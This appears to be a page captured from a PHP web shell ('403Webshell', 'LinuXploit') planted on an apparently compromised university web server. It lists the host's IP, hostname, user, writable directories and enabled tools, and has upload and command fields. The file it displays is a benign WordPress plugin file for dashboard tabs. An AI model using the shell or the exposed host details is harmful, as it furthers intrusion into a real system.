403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/medicine/public_html/wp-content/plugins/gp-premium/inc/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/medicine/public_html/wp-content/plugins/gp-premium/inc/legacy/dashboard.php
<?php
// No direct access, please
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_action( 'generate_dashboard_inside_container', 'generate_do_dashboard_tabs', 5 );
add_action( 'generate_inside_site_library_container', 'generate_do_dashboard_tabs', 5 );
add_action( 'generate_before_site_library', 'generate_do_dashboard_tabs', 5 );
/**
 * Adds our tabs to the GeneratePress dashboard.
 *
 * @since 1.6
 */
function generate_do_dashboard_tabs() {
	if ( ! defined( 'GENERATE_VERSION' ) ) {
		return;
	}

	$screen = get_current_screen();

	$tabs = apply_filters( 'generate_dashboard_tabs', array(
		'Modules' => array(
			'name' => __( 'Modules', 'gp-premium' ),
			'url' => admin_url( 'themes.php?page=generate-options' ),
			'class' => 'appearance_page_generate-options' === $screen->id ? 'active' : '',
		),
	) );

	// Don't print any markup if we only have one tab.
	if ( count( $tabs ) === 1 ) {
		return;
	}
	?>
	<div class="generatepress-dashboard-tabs">
		<?php
		foreach ( $tabs as $tab ) {
			printf( '<a href="%1$s" class="%2$s">%3$s</a>',
				esc_url( $tab['url'] ),
				esc_attr( $tab['class'] ),
				esc_html( $tab['name'] )
			);
		}
		?>
	</div>
	<?php
}

Youez - 2016 - github.com/yon3zu
LinuXploit